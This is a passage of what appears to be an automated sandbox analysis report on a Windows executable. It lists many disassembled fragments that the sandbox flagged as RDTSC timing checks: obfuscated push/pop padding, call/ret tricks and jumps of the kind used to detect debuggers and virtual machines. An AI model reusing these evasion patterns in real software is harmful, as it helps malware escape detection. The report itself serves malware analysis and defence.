popad 0x0000005a pop eax 0x0000005b pop ebx 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f push ecx 0x00000060 push ecx 0x00000061 pop ecx 0x00000062 pop ecx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87003B second address: 870041 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 870041 second address: 870045 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 870A75 second address: 870A7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 873283 second address: 873293 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jns 00007F00CD21E186h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8326AC second address: 8326B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8326B0 second address: 8326B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 877360 second address: 877364 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 877364 second address: 87736A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87736A second address: 8773F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F00CCD814B4h 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 call 00007F00CCD814A8h 0x00000019 pop ebx 0x0000001a mov dword ptr [esp+04h], ebx 0x0000001e add dword ptr [esp+04h], 00000015h 0x00000026 inc ebx 0x00000027 push ebx 0x00000028 ret 0x00000029 pop ebx 0x0000002a ret 0x0000002b mov dword ptr [ebp+12484C5Ah], edi 0x00000031 ja 00007F00CCD814A6h 0x00000037 cmc 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push edx 0x0000003d call 00007F00CCD814A8h 0x00000042 pop edx 0x00000043 mov dword ptr [esp+04h], edx 0x00000047 add dword ptr [esp+04h], 00000018h 0x0000004f inc edx 0x00000050 push edx 0x00000051 ret 0x00000052 pop edx 0x00000053 ret 0x00000054 push 00000000h 0x00000056 jmp 00007F00CCD814B4h 0x0000005b xchg eax, esi 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8773F2 second address: 8773F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8773F9 second address: 877403 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F00CCD814A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82A0C6 second address: 82A0E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CD21E190h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007F00CD21E186h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82A0E4 second address: 82A10A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CCD814B7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push edi 0x0000000b pushad 0x0000000c jl 00007F00CCD814A6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82A10A second address: 82A110 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87C96C second address: 87C989 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CCD814ACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jl 00007F00CCD814A6h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E9E4 second address: 87EA9A instructions: 0x00000000 rdtsc 0x00000002 jno 00007F00CD21E186h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c ja 00007F00CD21E18Ah 0x00000012 nop 0x00000013 mov dword ptr [ebp+124788C6h], eax 0x00000019 push 00000000h 0x0000001b and ebx, dword ptr [ebp+122D2C7Ah] 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push edx 0x00000026 call 00007F00CD21E188h 0x0000002b pop edx 0x0000002c mov dword ptr [esp+04h], edx 0x00000030 add dword ptr [esp+04h], 00000019h 0x00000038 inc edx 0x00000039 push edx 0x0000003a ret 0x0000003b pop edx 0x0000003c ret 0x0000003d mov edi, ebx 0x0000003f call 00007F00CD21E192h 0x00000044 call 00007F00CD21E190h 0x00000049 jmp 00007F00CD21E198h 0x0000004e pop edi 0x0000004f pop ebx 0x00000050 mov di, 03F3h 0x00000054 xchg eax, esi 0x00000055 pushad 0x00000056 jnp 00007F00CD21E188h 0x0000005c pushad 0x0000005d popad 0x0000005e push esi 0x0000005f jmp 00007F00CD21E196h 0x00000064 pop esi 0x00000065 popad 0x00000066 push eax 0x00000067 push eax 0x00000068 push edx 0x00000069 pushad 0x0000006a push edi 0x0000006b pop edi 0x0000006c push ecx 0x0000006d pop ecx 0x0000006e popad 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 871D22 second address: 871D52 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CCD814B8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push edi 0x0000000c jmp 00007F00CCD814ADh 0x00000011 pop edi 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 880BE1 second address: 880BE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 880BE5 second address: 880BF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CCD814ADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 880BF6 second address: 880C19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CD21E190h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b pushad 0x0000000c jmp 00007F00CD21E18Ah 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 882C99 second address: 882CCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 pushad 0x00000007 popad 0x00000008 pop esi 0x00000009 push edx 0x0000000a jmp 00007F00CCD814B9h 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F00CCD814AEh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8832BB second address: 8832BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8832BF second address: 8832C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8832C5 second address: 8832DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007F00CD21E18Ch 0x00000013 jno 00007F00CD21E186h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8832DE second address: 8832E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88425F second address: 884263 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88518F second address: 885210 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F00CCD814ABh 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e call 00007F00CCD814AFh 0x00000013 mov dword ptr [ebp+122D2D18h], edx 0x00000019 pop edi 0x0000001a jbe 00007F00CCD814ACh 0x00000020 or edi, dword ptr [ebp+122D2BC6h] 0x00000026 push 00000000h 0x00000028 add dword ptr [ebp+122D34E6h], esi 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push edx 0x00000033 call 00007F00CCD814A8h 0x00000038 pop edx 0x00000039 mov dword ptr [esp+04h], edx 0x0000003d add dword ptr [esp+04h], 0000001Ah 0x00000045 inc edx 0x00000046 push edx 0x00000047 ret 0x00000048 pop edx 0x00000049 ret 0x0000004a mov dword ptr [ebp+124686AFh], ecx 0x00000050 push eax 0x00000051 push eax 0x00000052 push edx 0x00000053 push edx 0x00000054 jmp 00007F00CCD814B4h 0x00000059 pop edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 885210 second address: 885215 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 877621 second address: 877640 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CCD814B4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879595 second address: 87959A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88836E second address: 888384 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jc 00007F00CCD814A6h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jnc 00007F00CCD814A6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87DCAE second address: 87DCB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87FD97 second address: 87FDB7 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F00CCD814A8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F00CCD814AAh 0x00000011 push eax 0x00000012 push edx 0x00000013 jo 00007F00CCD814A6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 880E5D second address: 880E63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 880E63 second address: 880E6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F00CCD814A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 884473 second address: 88447A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8874FB second address: 887574 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F00CCD814B9h 0x00000008 jc 00007F00CCD814A6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007F00CCD814A8h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 0000001Ah 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e xor dword ptr [ebp+122D25E5h], ecx 0x00000034 push dword ptr fs:[00000000h] 0x0000003b stc 0x0000003c mov dword ptr fs:[00000000h], esp 0x00000043 or edi, dword ptr [ebp+122D2C6Eh] 0x00000049 mov eax, dword ptr [ebp+122D0485h] 0x0000004f mov ebx, dword ptr [ebp+122D309Dh] 0x00000055 push FFFFFFFFh 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c pop eax 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8894BC second address: 8894D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop esi 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F00CD21E18Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8894D8 second address: 889556 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov edi, dword ptr [ebp+122D2C6Eh] 0x0000000e push dword ptr fs:[00000000h] 0x00000015 mov edi, eax 0x00000017 mov dword ptr fs:[00000000h], esp 0x0000001e push 00000000h 0x00000020 push edx 0x00000021 call 00007F00CCD814A8h 0x00000026 pop edx 0x00000027 mov dword ptr [esp+04h], edx 0x0000002b add dword ptr [esp+04h], 00000015h 0x00000033 inc edx 0x00000034 push edx 0x00000035 ret 0x00000036 pop edx 0x00000037 ret 0x00000038 mov edi, ecx 0x0000003a mov eax, dword ptr [ebp+122D0DD5h] 0x00000040 clc 0x00000041 push FFFFFFFFh 0x00000043 push 00000000h 0x00000045 push ecx 0x00000046 call 00007F00CCD814A8h 0x0000004b pop ecx 0x0000004c mov dword ptr [esp+04h], ecx 0x00000050 add dword ptr [esp+04h], 0000001Ch 0x00000058 inc ecx 0x00000059 push ecx 0x0000005a ret 0x0000005b pop ecx 0x0000005c ret 0x0000005d push eax 0x0000005e push eax 0x0000005f push edx 0x00000060 jmp 00007F00CCD814B1h 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 889556 second address: 88955D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 892C5F second address: 892C6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 892C6E second address: 892CAF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F00CD21E196h 0x0000000c jmp 00007F00CD21E18Dh 0x00000011 jns 00007F00CD21E186h 0x00000017 jg 00007F00CD21E186h 0x0000001d popad 0x0000001e popad 0x0000001f push eax 0x00000020 jne 00007F00CD21E192h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8975DF second address: 8975E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8975E3 second address: 897604 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 jmp 00007F00CD21E18Bh 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jc 00007F00CD21E186h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 897604 second address: 897608 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 897608 second address: 89760E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89760E second address: 897644 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CCD814B6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F00CCD814B8h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8976F5 second address: 89770B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ebx 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c js 00007F00CD21E198h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89770B second address: 89770F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89770F second address: 897713 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 897713 second address: 897746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 jmp 00007F00CCD814B6h 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F00CCD814AFh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89D4C0 second address: 89D4CD instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F00CD21E186h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 826ABC second address: 826AC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C0F8 second address: 89C111 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F00CD21E194h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C6A9 second address: 89C6D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CCD814B3h 0x00000007 jmp 00007F00CCD814B5h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C6D5 second address: 89C6DA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C6DA second address: 89C70C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F00CCD814B4h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F00CCD814B5h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C70C second address: 89C710 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C8CA second address: 89C8CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89CB54 second address: 89CB58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89CB58 second address: 89CB6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CCD814ACh 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89CB6D second address: 89CBAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F00CD21E194h 0x00000009 jmp 00007F00CD21E18Bh 0x0000000e popad 0x0000000f pop eax 0x00000010 push edi 0x00000011 jns 00007F00CD21E18Eh 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a pop eax 0x0000001b jo 00007F00CD21E186h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89CCE3 second address: 89CD07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F00CCD814B5h 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jno 00007F00CCD814A6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89CFB9 second address: 89CFBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89CFBD second address: 89CFD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a ja 00007F00CCD814A6h 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89CFD3 second address: 89CFE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jnl 00007F00CD21E186h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89CFE1 second address: 89CFE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89CFE6 second address: 89D010 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 js 00007F00CD21E186h 0x0000000b pop edx 0x0000000c pushad 0x0000000d jmp 00007F00CD21E195h 0x00000012 jc 00007F00CD21E186h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89D17B second address: 89D1A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F00CCD814B1h 0x00000009 push esi 0x0000000a pop esi 0x0000000b jmp 00007F00CCD814B1h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89D2F0 second address: 89D2F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A05EB second address: 8A05EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 875084 second address: 875115 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F00CD21E186h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F00CD21E18Eh 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007F00CD21E188h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 0000001Dh 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b mov dx, 10F8h 0x0000002f cmc 0x00000030 lea eax, dword ptr [ebp+12498DE2h] 0x00000036 jmp 00007F00CD21E197h 0x0000003b nop 0x0000003c pushad 0x0000003d jmp 00007F00CD21E192h 0x00000042 pushad 0x00000043 jmp 00007F00CD21E18Dh 0x00000048 push edx 0x00000049 pop edx 0x0000004a popad 0x0000004b popad 0x0000004c push eax 0x0000004d jo 00007F00CD21E194h 0x00000053 pushad 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 875115 second address: 87511B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87511B second address: 851403 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 mov ecx, dword ptr [ebp+122D29DAh] 0x0000000c call dword ptr [ebp+1246909Ah] 0x00000012 jo 00007F00CD21E19Ch 0x00000018 push edi 0x00000019 jp 00007F00CD21E186h 0x0000001f pushad 0x00000020 popad 0x00000021 pop edi 0x00000022 pushad 0x00000023 push ebx 0x00000024 pop ebx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87557A second address: 875590 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CCD814B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
